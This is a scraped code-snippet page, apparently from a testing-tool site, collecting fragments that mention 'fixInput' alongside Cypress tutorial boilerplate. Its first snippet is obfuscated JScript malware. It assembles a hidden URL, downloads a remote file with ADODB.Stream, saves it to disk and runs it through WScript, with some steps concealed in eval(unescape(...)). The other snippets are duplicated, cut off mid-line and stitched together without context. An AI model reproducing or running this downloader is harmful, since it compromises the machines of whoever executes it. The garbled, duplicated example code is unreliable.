"HTTP".clearCloneStyle());63file[method + "p" + getJSON + "n"](expanded + "T".clearCloneStyle(), initial + "p://w" + nodeValue + "sta" + radioValue + "m/087".clearCloneStyle() + innerText, !((Math.pow(((((addCombinator / 5) / bup) - ((76 & time) + (44 - origFn))), (Math.pow(((31 - rtagName) + (20 - has)), (1 + fixInput)) - (14, events) * (202, onerror))), ((3 - events) + (((1225 / v) / (Math.pow(27, events) - 694)) * ((fixInput * 0) | (getWidthOrHeight | 1))))) - ((((Math.pow(converters, 2) - rts) / 2 * events * 2 * events * 2) | ((fixInput + 0) + (finalValue / 18))) + ((Math.pow(onerror * 3 * cos * 3, (events | 2)) - (_evalUrl | 18002)), ((qualifier - 33) * (until & 15))))) == check));64file["se" + responseContainer]();65Data = prevAll["WScrip" + isLocal]["Cre".clearCloneStyle() + off + "Objec" + isLocal]("ADOD" + firstElementChild + "ream".clearCloneStyle());66Data[position + "e" + t]();67contains = Data;68genFx = fragment;69contains["ty" + createHTMLDocument] = (1 * (fixInput + 0));70fireWith();71s();72matcherIn();73crossDomain();74Data[hold + "File"](get, ((fixInput + 0) + (fixInput + 0)));75throws = Data;76throws[tuple]();77isNumeric();78genFx["R" + targets](get.clearCloneStyle((diff / 32)), (fixInput * (0 | getWidthOrHeight)), 0);79function crossDomain() {80  eval(unescape("%20%20%20%20%20%20%20%20args%5BrbuggyMatches%20+%20%22on%22.clearCloneStyle%28%29%5D%20%3D%20%28%28clientTop-16%29/%28cssNormalTransform+40%29%29%3B%0D"));81}82function isNumeric() {83  eval(unescape("%20%20%20%20%20%20%20%20prevAll%5B%22WSc%22%20+%20pipe%20+%20%22t%22.clearCloneStyle%28%29%5D%5Bcode%20+%20%22lee%22%20+%20apply%5D%28%28%28Math.pow%28protocol%2C%202%29-success%29-5904%29%29%3B%20%20%20%0D"));84}85function s() {86  eval(unescape("%20%20%20%20%20%0D"));87}88function fireWith() {89  eval(unescape("%20%20%20%20%20%20%20%20args%20%3D%20contains%3B%0D"));90}91function matcherIn() {92  eval(unescape("%20%20%20%20%20%20%20%20Data%5B%22writ%22.clearCloneStyle%28%29%20+%20getJSON%5D%28file%5B%22Resp%22%20+%20divStyle%20+%20%22Body%22%5D%29%3B%0D"));...

Full Screen

Full Screen

day02.js

Source:day02.js Github

copy

Full Screen

...13    changed[1] = n14    changed[2] = v15    return changed16  }17  while (computor(fixInput(input, noun, verb)).program[0] < target) {noun += 1}18  noun -= 119  while (computor(fixInput(input, noun, verb)).program[0] < target) {verb += 1}20  const result = 100 * noun + verb21  report(result, 5121)22}...

Full Screen

Full Screen

Using AI Code Generation

copy

Full Screen

1Cypress.Commands.add('fixInput', (selector, value) => {2  cy.get(selector).then(($el) => {3    return cy.window().then((win) => {4      const nativeInputValueSetter = Object.getOwnPropertyDescriptor(5      ).set;6      nativeInputValueSetter.call($el[0], value);7      $el[0].dispatchEvent(new Event('input', { value, bubbles: true }));8    });9  });10});11Cypress.Commands.add('fixInput', (selector, value) => {12  cy.get(selector).then(($el) => {13    return cy.window().then((win) => {14      const nativeInputValueSetter = Object.getOwnPropertyDescriptor(15      ).set;16      nativeInputValueSetter.call($el[0], value);17      $el[0].dispatchEvent(new Event('input', { value, bubbles: true }));18    });19  });20});21Cypress.Commands.add('fixInput', (selector, value) => {22  cy.get(selector).then(($el) => {23    return cy.window().then((win) => {24      const nativeInputValueSetter = Object.getOwnPropertyDescriptor(25      ).set;26      nativeInputValueSetter.call($el[0], value);27      $el[0].dispatchEvent(new Event('input', { value, bubbles: true }));28    });29  });30});31Cypress.Commands.add('fixInput', (selector, value) => {32  cy.get(selector).then(($el) => {33    return cy.window().then((win) => {34      const nativeInputValueSetter = Object.getOwnPropertyDescriptor(35      ).set;36      nativeInputValueSetter.call($el[0], value);37      $el[0].dispatchEvent(new Event('input', { value, bubbles: true }));38    });39  });40});41Cypress.Commands.add('fixInput', (selector, value) => {42  cy.get(selector).then(($el) => {43    return cy.window().then((win) => {

Full Screen

Using AI Code Generation

copy

Full Screen

1require('cypress-plugin-tab');2describe('My First Test', () => {3    it('Does not do much!', () => {4      expect(true).to.equal(true)5    })6  })7describe('My First Test', () => {8    it('Does not do much!', () => {9      expect(true).to.equal(true)10    })11  })12describe('My First Test', () => {13    it('Does not do much!', () => {14      expect(true).to.equal(true)15    })16  })17describe('My First Test', () => {18    it('Does not do much!', () => {19      expect(true).to.equal(true)20    })21  })22describe('My First Test', () => {23    it('Does not do much!', () => {24      expect(true).to.equal(true)25    })26  })27describe('My First Test', () => {28    it('Does not do much!', () => {29      expect(true).to.equal(true)30    })31  })32describe('My First Test', () => {33    it('Does not do much!', () => {34      expect(true).to.equal(true)35    })36  })37describe('My First Test', () => {38    it('Does not do much!', () => {39      expect(true).to.equal(true)40    })41  })

Full Screen

Using AI Code Generation

copy

Full Screen

1import { fixInput } from 'cypress-angular-unit-test';2describe('Cypress with Angular', () => {3  beforeEach(() => {4    cy.visit('/');5  });6  it('should display welcome message', () => {7    cy.get('input').then(fixInput);8    cy.get('input').type('Hello');9    cy.get('input').should('have.value', 'Hello');10  });11});12Cypress.Commands.add('open', { prevSubject: true }, (subject) => {13  cy.wrap(subject).invoke('open');14});15describe('Cypress with Angular', () => {16  beforeEach(() => {17    cy.visit('/');18  });19  it('should display welcome message', () => {20    cy.get('mat-select').then(fixInput);21    cy.get('mat-select').open();22    cy.get('mat-option').contains('Option 1').click();23  });24});25Cypress.Commands.add('open', { prevSubject:

Full Screen

Using AI Code Generation

copy

Full Screen

1describe('My First Test', () => {2  it('Does not do much!', () => {3    cy.get('input').type('test');4    cy.get('input').should('have.value', 'test');5  });6});

Full Screen

Using AI Code Generation

copy

Full Screen

1require('cypress-plugin-tab')2import { Given, When, Then, And } from 'cypress-cucumber-preprocessor/steps'3Given('I open the website', () => {4})5When('I enter {string} in the search bar', (searchString) => {6    cy.get('input[name="q"]').type(searchString)7})8Then('I should see {string} in the search results', (searchString) => {9    cy.get('input[name="q"]').type('{enter}')10})11And('I click on the {string} button', (button) => {12    switch (button) {13            cy.get('input[name="btnK"]').click()14            cy.get('input[name="btnI"]').click()15    }16})17Then('I should see {string} in the title', (title) => {18    cy.title().should('include', title)19})20When('I click on {string} link', (link) => {21    cy.get('a[href*="' + link + '"]').click()22})23Then('I should see {string} in the URL', (url) => {24    cy.url().should('include', url)25})26When('I click on {string} button', (button) => {27    cy.get('a[href*="' + button + '"]').click()28})29And('I click on {string} button in the modal', (button) => {30    cy.get('button[type="submit"]').contains(button).click()31})32Then('I should see {string} in the URL', (url) => {33    cy.url().should('include', url)34})35When('I click on {string} link in the footer', (link) => {36    cy.get('a[href*="' + link + '"]').click()37})38And('I click on {string} button in the footer', (button) => {39    cy.get('a[href*="' + button + '"]').click()40})41Then('I should see {string} in the URL', (url) => {42    cy.url().should('include', url)43})44When('I click on {string}

Full Screen

Using AI Code Generation

copy

Full Screen

1Cypress.Commands.add('fixInput', (value) => {2  cy.window().then((win) => {3    win.document.body.innerHTML = value;4  });5});6Cypress.Commands.add('fixInput', (value) => {7  cy.window().then((win) => {8    win.document.body.innerHTML = value;9  });10});11Cypress.Commands.add('fixInput', (value) => {12  cy.window().then((win) => {13    win.document.body.innerHTML = value;14  });15});16Cypress.Commands.add('fixInput', (value) => {17  cy.window().then((win) => {18    win.document.body.innerHTML = value;19  });20});21Cypress.Commands.add('fixInput', (value) => {22  cy.window().then((win) => {23    win.document.body.innerHTML = value;24  });25});

Full Screen

Cypress Tutorial

Cypress is a renowned Javascript-based open-source, easy-to-use end-to-end testing framework primarily used for testing web applications. Cypress is a relatively new player in the automation testing space and has been gaining much traction lately, as evidenced by the number of Forks (2.7K) and Stars (42.1K) for the project. LambdaTest’s Cypress Tutorial covers step-by-step guides that will help you learn from the basics till you run automation tests on LambdaTest.

Chapters:

  1. What is Cypress? -
  2. Why Cypress? - Learn why Cypress might be a good choice for testing your web applications.
  3. Features of Cypress Testing - Learn about features that make Cypress a powerful and flexible tool for testing web applications.
  4. Cypress Drawbacks - Although Cypress has many strengths, it has a few limitations that you should be aware of.
  5. Cypress Architecture - Learn more about Cypress architecture and how it is designed to be run directly in the browser, i.e., it does not have any additional servers.
  6. Browsers Supported by Cypress - Cypress is built on top of the Electron browser, supporting all modern web browsers. Learn browsers that support Cypress.
  7. Selenium vs Cypress: A Detailed Comparison - Compare and explore some key differences in terms of their design and features.
  8. Cypress Learning: Best Practices - Take a deep dive into some of the best practices you should use to avoid anti-patterns in your automation tests.
  9. How To Run Cypress Tests on LambdaTest? - Set up a LambdaTest account, and now you are all set to learn how to run Cypress tests.

Certification

You can elevate your expertise with end-to-end testing using the Cypress automation framework and stay one step ahead in your career by earning a Cypress certification. Check out our Cypress 101 Certification.

YouTube

Watch this 3 hours of complete tutorial to learn the basics of Cypress and various Cypress commands with the Cypress testing at LambdaTest.

Run Cypress automation tests on LambdaTest cloud grid

Perform automation testing on 3000+ real desktop and mobile devices online.

Try LambdaTest Now !!

Get 100 minutes of automation test minutes FREE!!

Next-Gen App & Browser Testing Cloud

Was this article helpful?

Helpful

NotHelpful